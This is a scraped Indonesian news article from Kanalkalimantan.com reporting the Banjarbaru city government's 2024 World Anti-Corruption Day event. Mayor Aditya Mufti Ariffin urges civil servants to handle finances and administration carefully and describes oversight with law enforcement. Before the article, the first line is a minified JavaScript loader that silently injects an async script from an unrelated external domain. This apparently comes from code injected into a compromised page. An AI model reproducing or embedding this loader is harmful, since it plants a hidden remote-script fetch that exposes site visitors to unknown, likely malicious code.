(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru ikut berpartisipasi dalam perayaan Hari Antikorupsi Sedunia (Hakordia) tahun 2024, Selasa (10/12/2024).
Peringatan dipimpin langsung oleh Wali Kota Banjarbaru Aditya Mufti Ariffin di Ballroom Novotel Hotel Banjarmasin Airport di Banjarbaru.
Wali Kota Aditya mengatakan, tema peringatan Hakordia tahun 2024 ini adalah “Teguhkan Komitmen Berantas Korupsi untuk Indonesia Maju.” Sebagai salah satu momen penting upaya pemerintah kota dalam melawan korupsi, dalam peringatan ini dirangkai dengan sosialisasi berkaitan dengan masalah korupsi.
“Kita mengingatkan kembali kepada para Aparatur Sipil Negara (ASN) Pemerintah Kota Banjarbaru sebagai pelaku pengambil kebijakan, pelaku penata keuangan agar berhati-hati dalam mengambil tindakan,” ujar Wali Kota Banjarbaru saat diwawancarai awak media.
Baca juga: Pemkab Banjar Luncurkan CSR Award 2025, Pastikan Program TSP Berjalan Selaras
Apalagi kata dia, ditemukannya tindakan yang bisa mengakibatkan kerugian negara, termasuk dalam kategori korupsi.
Maka setidaknya ada dua yang di tekankan dalam upaya pencegahan korupsi di lingkup Pemerintah Kota Banjarbaru, pertama berkaitan dengan tata kelola keuangan. Kedua tentang tata kelola administrasi.
“Artinya kita ingin memperbaiki agar menjadi lebih baik lagi, berkaitan dengan tata kelola keuangan termasuk juga dalam rangka mengambil kebijakan, jangan sampai pengelola keuangan malah menjadi penyebab kerugian negara,” jelas dia.
Adapun di setiap kegiatan atau program Pemerintah Kota Banjarbaru, katanya selalu melibatkan Aparat Penegak Hukum (APH), terutama program prioritas.
Baca juga: Tak Ada Gugatan di MK, Muhidin-Hasnur Menunggu Dilantik
“Kita selalu melibatkan pendampingan dari para APH, baik Polres, Kejaksaan, dan pihak lainnya,” sebut dia.
Di sisi lain, menurutnya semua jenis pelayanan yang ada di Pemerintah Kota Banjarbaru termasuk rawan tersandung kasus korupsi. Oleh sebab itu peran pengawasan pun sangat diperlukan.
“Intinya semua rawan makanya ada giat pengawasan, kita mengingatkan kembali karena tidak semua bidang bisa diawasi oleh Inspektur, Wali Kota, dan lainnya, maka dari itu perlunya pengingat agar tidak ada korupsi di Kota Banjarbaru,” tandas Aditya.
Dalam peringatan Hakordia 2024 juga bersinergi dengan melibatkan Kejaksaan Negeri Kota Banjarbaru, Otoritas Jasa Keuangan (OJK) hingga Ombudsman.
Baca juga: Kelurahan Sekumpul Laksanakan Pelatihan Kesiapan Menghadapi Bencana
Dalam sosialisasi pencegahan korupsi ini juga mengundang jajaran SKPD Pemerintah Kota Banjarbaru mulai dari Kepala Dinas, Kepala Badan, Camat hingga Lurah se Kota Banjarbaru (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pemerintah resmi menaikan Upah Minimum Provinsi (UMP) Kalimantan Selatan (Kalsel) pada tahun… Read More
KANALKALIMANTAN.COM, PARINGIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Kabupaten Balangan mengelar grand final pemilihan Duta… Read More
KANALKALIMANTAN.COM, AMUNTAI - Polres Hulu Sungai Utara (HSU) bersama Pemerintah Kabupaten HSU melakukan peninjauan Pasar… Read More
KANALKALIMANTAN.COM - Layanan mobile banking (m-banking) milik BRI, BRImo, terus berupaya mempermudah para nasabah untuk… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pasangan H Muhidin dan Hasnuryadi Sulaiman dipastikan bakal ditetapkan dan dilantik menjadi… Read More
This website uses cookies.